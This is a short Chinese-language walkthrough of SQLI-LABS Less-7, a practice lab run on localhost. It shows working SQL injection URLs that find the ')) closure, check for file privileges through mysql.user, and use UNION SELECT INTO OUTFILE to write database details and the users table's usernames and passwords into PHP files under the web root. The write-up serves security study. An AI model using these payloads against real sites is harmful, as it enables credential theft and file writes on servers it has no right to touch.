上题。

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1' --+

　　

 

　　单引号发现报错，但不是外显，所以无法直接进行剥离构造。没有外显的话比较麻烦，通过尝试得到：

http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) --+

　　

　　回显正常。这题需要用到outfile，导出型注入。但是使用outfile需要一定的file权限，下面是使用条件：

1 必须有权限读取并且文件必须完全可读 
2 目的文件必须在服务器上 
3 必须指定文件完整的路径 
4 欲读取文件必须小于 max_allowed_packet

 

　　接下来判断我们是否有file权限，构造语句：

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
//select count(*) from mysql.user 意思是返回mysql库中所有用户名数量

　　

　　若回显正常，说明具有file权限，回显不正常，则说明不具有file权限。这里回显正常，说明具有权限。

　　那么我们可以开始进行注入，构造语句：

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+

　　OR

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+

　　

　　在文件路径中，若使用’ \ ‘，则需要用另外一个转义字符将其转义即一个’ / ‘等于’ \\ ‘。

　　

　　注入成功，可以发现生成了一个1.php。

　　同样地：

1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(username,'_',password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+

　　

　　然后我们以此方法得到flag。